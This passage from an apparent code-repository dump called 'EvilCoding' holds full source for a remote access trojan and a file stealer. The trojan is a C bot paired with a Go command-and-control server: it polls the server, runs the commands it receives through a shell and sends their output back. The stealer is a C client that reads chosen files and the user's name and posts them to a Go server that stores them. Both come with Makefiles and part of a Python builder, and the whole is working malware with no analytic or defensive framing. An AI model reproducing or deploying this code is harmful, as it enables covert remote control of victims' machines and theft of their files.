| pipe = popen(command, "r"); 265 | ret = fread(buffer, sizeof(char), BUFSIZ_2M - 1, pipe); 266 | crypto_hex(1, result, BUFSIZ_4M, buffer, ret); 267 | pclose(pipe); 268 | } 269 | 270 | return 0; 271 | } 272 | """ 273 | 274 | if __name__ == "__main__": 275 | main() 276 | -------------------------------------------------------------------------------- /RAT/sources/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -std=gnu99 3 | CFILES=bot.c extclib/extclib.o 4 | 5 | GC=go build 6 | GFILES=server.go 7 | 8 | .PHONY: default install build 9 | default: install build 10 | install: 11 | git clone https://github.com/number571/extclib.git 12 | make -C extclib/ 13 | build: $(CFILES) $(GFILES) 14 | $(CC) -o bot $(CFILES) $(CFLAGS) -lcrypto 15 | $(GC) -o server $(GFILES) 16 | clean: 17 | rm -rf extclib/ 18 | rm -f bot server 19 | -------------------------------------------------------------------------------- /RAT/sources/bot.c: -------------------------------------------------------------------------------- 1 | #include "extclib/net.h" 2 | #include "extclib/crypto.h" 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define BUFSIZ_1K (1 << 10) 10 | #define BUFSIZ_2K (2 << 10) 11 | 12 | #define BUFSIZ_2M (2 << 20) 13 | #define BUFSIZ_4M (4 << 20) 14 | #define BUFSIZ_8M (8 << 20) 15 | 16 | #define NICKSIZE 32 17 | #define ADDRESS "127.0.0.1", 8080 18 | 19 | static char buffer[BUFSIZ_8M]; 20 | static char result[BUFSIZ_4M]; 21 | 22 | int main(void) { 23 | char command[BUFSIZ_2K] = "NULL"; 24 | char nickname[NICKSIZE+1]; 25 | char inputs[BUFSIZ_1K]; 26 | 27 | net_conn *conn; 28 | FILE *pipe; 29 | char *ptr; 30 | int ret; 31 | 32 | crypto_rand(buffer, NICKSIZE/2); 33 | crypto_hex(1, nickname, NICKSIZE+1, buffer, NICKSIZE/2); 34 | 35 | snprintf(inputs, BUFSIZ_1K, "{\"return\":%%d,\"result\":\"%%%d[^\"]\"}", BUFSIZ_2K-1); 36 | 37 | while(1) { 38 | conn = net_connect(ADDRESS); 39 | if (conn == NULL) { 40 | sleep(5); 41 | continue; 42 | } 43 | 44 | if (strcmp(command, "NULL") == 0) { 45 | result[0] = '\0'; 46 | } 47 | 48 | snprintf(buffer, BUFSIZ_8M, "{\"body\":[\"%s\", \"%s\"]}", nickname, result); 49 | net_http_post(conn, "/cmd", buffer); 50 | 51 | ret = net_recv(conn, buffer, BUFSIZ_2M); 52 | buffer[ret] = '\0'; 53 | net_close(conn); 54 | 55 | ptr = strstr(buffer, "{"); 56 | if (ptr == NULL) { 57 | continue; 58 | } 59 | 60 | ret = -1; 61 | sscanf(ptr, inputs, &ret, command); 62 | if (ret != 0) { 63 | continue; 64 | } 65 | 66 | if (strcmp(command, "NULL") == 0) { 67 | continue; 68 | } 69 | 70 | result[0] = '\0'; 71 | pipe = popen(command, "r"); 72 | ret = fread(buffer, sizeof(char), BUFSIZ_2M - 1, pipe); 73 | crypto_hex(1, result, BUFSIZ_4M, buffer, ret); 74 | pclose(pipe); 75 | } 76 | 77 | return 0; 78 | } 79 | -------------------------------------------------------------------------------- /RAT/sources/server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "encoding/hex" 6 | "encoding/json" 7 | "fmt" 8 | "net/http" 9 | "os" 10 | "strings" 11 | "sync" 12 | "time" 13 | ) 14 | 15 | const ( 16 | TMAXSIZE = (1 << 6) 17 | ) 18 | 19 | var ( 20 | Mutex sync.Mutex 21 | Target = "NULL" 22 | Command = "NULL" 23 | ListTargets = make(map[string]time.Time) 24 | ) 25 | 26 | func main() { 27 | fmt.Println("Server is listening...\n") 28 | go adminConsole() 29 | http.HandleFunc("/", indexPage) 30 | http.HandleFunc("/cmd", cmdPage) 31 | http.ListenAndServe(":8080", nil) 32 | } 33 | 34 | func help() string { 35 | return ` 36 | 1. exit // exit from program 37 | 2. help // help info for commands 38 | 3. targ // set target by uid 39 | 4. cmnd // set command to target 40 | 5. list // get list of targets 41 | ` 42 | } 43 | 44 | func adminConsole() { 45 | var ( 46 | message string 47 | splited []string 48 | ) 49 | for { 50 | message = inputString("> ") 51 | splited = strings.Split(message, " ") 52 | switch splited[0] { 53 | case "exit": 54 | os.Exit(0) 55 | case "help": 56 | fmt.Println(help()) 57 | case "targ": 58 | if len(splited) != 2 { 59 | fmt.Printf("target = '%s'\n\n", Target) 60 | continue 61 | } 62 | Target = splited[1] 63 | fmt.Println("target set\n") 64 | case "list": 65 | Mutex.Lock() 66 | i := 1 67 | for targv, timet := range ListTargets { 68 | if time.Now().Sub(timet) > (3 * time.Minute) { 69 | delete(ListTargets, targv) 70 | continue 71 | } 72 | } 73 | for targv := range ListTargets { 74 | fmt.Println(i, targv) 75 | i++ 76 | } 77 | fmt.Println() 78 | Mutex.Unlock() 79 | case "cmnd": 80 | Command = strings.Join(splited[1:], " ") 81 | default: 82 | fmt.Println("error: command undefined\n") 83 | } 84 | } 85 | } 86 | 87 | func inputString(begin string) string { 88 | fmt.Print(begin) 89 | msg, _ := bufio.NewReader(os.Stdin).ReadString('\n') 90 | return strings.Replace(msg, "\n", "", 1) 91 | } 92 | 93 | func indexPage(w http.ResponseWriter, r *http.Request) { 94 | response(w, 0, "success: action completed") 95 | } 96 | 97 | func cmdPage(w http.ResponseWriter, r *http.Request) { 98 | var req struct { 99 | Body []string `json:"body"` 100 | } 101 | 102 | if r.Method != "POST" { 103 | response(w, 1, "error: method != POST") 104 | return 105 | } 106 | err := json.NewDecoder(r.Body).Decode(&req) 107 | if err != nil { 108 | response(w, 2, "error: parse json") 109 | return 110 | } 111 | if len(req.Body) != 2 { 112 | response(w, 3, "error: len req != 2") 113 | return 114 | } 115 | if len(req.Body[0]) != 32 { 116 | response(w, 4, "error: len name != 32") 117 | return 118 | } 119 | 120 | target := req.Body[0] 121 | result := req.Body[1] 122 | 123 | Mutex.Lock() 124 | if len(ListTargets) > TMAXSIZE { 125 | ListTargets = make(map[string]time.Time) 126 | } 127 | ListTargets[target] = time.Now() 128 | Mutex.Unlock() 129 | 130 | if result != "" && Target == target { 131 | fmt.Printf("\n%s\n> ", string(hexDecode(result))) 132 | } 133 | 134 | count := 5 135 | result = "NULL" 136 | 137 | repeat: 138 | if (Target == target && Command != "NULL") || count == 0 { 139 | goto close 140 | } 141 | count-- 142 | time.Sleep(5 * time.Second) 143 | goto repeat 144 | close: 145 | if Target == target { 146 | result = Command 147 | Command = "NULL" 148 | } 149 | 150 | response(w, 0, result) 151 | } 152 | 153 | func hexDecode(data string) []byte { 154 | res, err := hex.DecodeString(data) 155 | if err != nil { 156 | return nil 157 | } 158 | return res 159 | } 160 | 161 | func response(w http.ResponseWriter, ret int, res string) { 162 | w.Header().Set("Content-Type", "application/json") 163 | var resp struct { 164 | Return int `json:"return"` 165 | Result string `json:"result"` 166 | } 167 | resp.Return = ret 168 | resp.Result = res 169 | json.NewEncoder(w).Encode(resp) 170 | } 171 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # EvilCoding 2 | Random programs for evil coding. 3 | -------------------------------------------------------------------------------- /STEALER/BUILDER/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: default build 2 | default: build 3 | build: builder.py 4 | python3 builder.py 5 | clean: 6 | rm -f stealer.c server.go 7 | -------------------------------------------------------------------------------- /STEALER/sources/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -std=c99 3 | CFILES=stealer.c extclib/extclib.o 4 | 5 | GC=go build 6 | GFILES=server.go 7 | 8 | .PHONY: default install build 9 | default: install build 10 | install: 11 | git clone https://github.com/number571/extclib.git 12 | make -C extclib/ 13 | build: $(CFILES) $(GFILES) 14 | $(CC) -o stealer $(CFILES) $(CFLAGS) -lcrypto 15 | $(GC) -o server $(GFILES) 16 | clean: 17 | rm -rf extclib/ 18 | rm -f stealer server 19 | -------------------------------------------------------------------------------- /STEALER/sources/server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/sha256" 5 | "encoding/hex" 6 | "encoding/json" 7 | "fmt" 8 | "io/ioutil" 9 | "net/http" 10 | "os" 11 | ) 12 | 13 | const ( 14 | MAXSIZE = (6 * (5 << 20) + 256) 15 | ROOTDIR = "./saves/" 16 | ) 17 | 18 | func init() { 19 | os.Mkdir(ROOTDIR, 0700) 20 | } 21 | 22 | func main() { 23 | fmt.Println("Server is listening...\n") 24 | http.HandleFunc("/", indexPage) 25 | http.HandleFunc("/cmd", cmdPage) 26 | http.ListenAndServe(":8080", nil) 27 | } 28 | 29 | func indexPage(w http.ResponseWriter, r *http.Request) { 30 | response(w, 0, "success: action completed") 31 | } 32 | 33 | func cmdPage(w http.ResponseWriter, r *http.Request) { 34 | var req struct { 35 | OS int `json:"os"` 36 | Name string `json:"name"` 37 | Fdata []string `json:"fdata"` 38 | } 39 | 40 | if r.Method != "POST" { 41 | response(w, 1, "error: method != POST") 42 | return 43 | } 44 | 45 | if r.ContentLength > MAXSIZE { 46 | response(w, 2, "error: max size") 47 | return 48 | } 49 | 50 | err := json.NewDecoder(r.Body).Decode(&req) 51 | if err != nil { 52 | response(w, 3, "error: parse json") 53 | return 54 | } 55 | 56 | hash := hashSum(packJson(req)) 57 | dirname := ROOTDIR + hexEncode(hash) 58 | os.Mkdir(dirname, 0700) 59 | 60 | ioutil.WriteFile(fmt.Sprintf("%s/__info__", dirname), []byte(fmt.Sprintf("%d:%s", req.OS, req.Name)), 0644) 61 | for i, v := range req.Fdata { 62 | if v == "" { 63 | continue 64 | } 65 | ioutil.WriteFile(fmt.Sprintf("%s/%d", dirname, i), hexDecode(v), 0644) 66 | } 67 | 68 | response(w, 0, "success: action completed") 69 | } 70 | 71 | func hashSum(data []byte) []byte { 72 | hash := sha256.Sum256(data) 73 | return hash[:] 74 | } 75 | 76 | func hexEncode(data []byte) string { 77 | return hex.EncodeToString(data) 78 | } 79 | 80 | func hexDecode(data string) []byte { 81 | res, err := hex.DecodeString(data) 82 | if err != nil { 83 | return nil 84 | } 85 | return res 86 | } 87 | 88 | func packJson(data interface{}) []byte { 89 | jsondata, err := json.Marshal(data) 90 | if err != nil { 91 | return nil 92 | } 93 | return jsondata 94 | } 95 | 96 | func response(w http.ResponseWriter, ret int, res string) { 97 | w.Header().Set("Content-Type", "application/json") 98 | var resp struct { 99 | Return int `json:"return"` 100 | Result string `json:"result"` 101 | } 102 | resp.Return = ret 103 | resp.Result = res 104 | json.NewEncoder(w).Encode(resp) 105 | } 106 | -------------------------------------------------------------------------------- /STEALER/sources/stealer.c: -------------------------------------------------------------------------------- 1 | #include "extclib/crypto.h" 2 | #include "extclib/net.h" 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define ADDRESS "127.0.0.1", 8080 10 | #define NMAX_SIZE 128 11 | #define FMAX_READ 6 12 | #define FMAX_SIZE (5 << 20) 13 | #define BUFSIZ_SUM (FMAX_READ * FMAX_SIZE + 256) 14 | 15 | #define PARSE_FILES { \ 16 | "/home/user/Documents/GOPROG/HES/client.go", \ 17 | "/home/user/Documents/GOPROG/HES/server.go" \ 18 | } 19 | 20 | typedef struct info_s { 21 | char os; 22 | char name[NMAX_SIZE]; 23 | char fdata[FMAX_READ][FMAX_SIZE]; 24 | } info_s; 25 | 26 | static void setjson(char *buffer, info_s *info); 27 | static info_s *setinfo(info_s *info); 28 | 29 | static int read_file(char *data, const char *filename); 30 | static char *_strncpy(char *output, const char *input, size_t size); 31 | 32 | static char buffer[BUFSIZ_SUM]; 33 | static info_s info; 34 | 35 | int main(void) { 36 | net_conn *conn; 37 | setjson(buffer, setinfo(&info)); 38 | 39 | try_conn: 40 | conn = net_connect(ADDRESS); 41 | if (conn == NULL) { 42 | sleep(5); 43 | goto try_conn; 44 | } 45 | 46 | net_http_post(conn, "/cmd", buffer); 47 | net_close(conn); 48 | return 0; 49 | } 50 | 51 | static void setjson(char *buffer, info_s *info) { 52 | snprintf(buffer, BUFSIZ_SUM, 53 | "{" 54 | "\"os\":%d," 55 | "\"name\":\"%s\"," 56 | "\"fdata\": [" 57 | "\"%s\"," 58 | "\"%s\"," 59 | "\"%s\"," 60 | "\"%s\"," 61 | "\"%s\"," 62 | "\"%s\"" 63 | "]" 64 | "}", 65 | info->os, 66 | info->name, 67 | info->fdata[0], 68 | info->fdata[1], 69 | info->fdata[2], 70 | info->fdata[3], 71 | info->fdata[4], 72 | info->fdata[5] 73 | ); 74 | } 75 | 76 | static info_s *setinfo(info_s *info) { 77 | info->os = -1; 78 | _strncpy(info->name, "", NMAX_SIZE); 79 | for (size_t i = 0; i < FMAX_READ; ++i) { 80 | _strncpy(info->fdata[i], "", FMAX_SIZE); 81 | } 82 | #ifdef __unix__ 83 | info->os = 1; 84 | char *name = getenv("USER"); 85 | #elif _WIN32 86 | info->os = 2; 87 | char *name = getenv("USERNAME"); 88 | #endif 89 | if (name != NULL) { 90 | _strncpy(info->name, name, NMAX_SIZE); 91 | } 92 | const char *files[FMAX_READ] = PARSE_FILES; 93 | for (size_t i = 0; i < sizeof(files)/sizeof(files[0]); ++i) { 94 | read_file(info->fdata[i], files[i]); 95 | } 96 | return info; 97 | } 98 | 99 | static int read_file(char *data, const char *filename) { 100 | char bufferf[FMAX_SIZE/2]; 101 | FILE *file = fopen(filename, "rb"); 102 | if (file == NULL) { 103 | return 1; 104 | } 105 | size_t n = fread(bufferf, sizeof(char), FMAX_SIZE/2, file); 106 | crypto_hex(1, data, FMAX_SIZE, bufferf, n); 107 | return 0; 108 | } 109 | 110 | static char *_strncpy(char *output, const char *input, size_t size) { 111 | char *ret = strncpy(output, input, size-1); 112 | output[size-1] = '\0'; 113 | return ret; 114 | } 115 | --------------------------------------------------------------------------------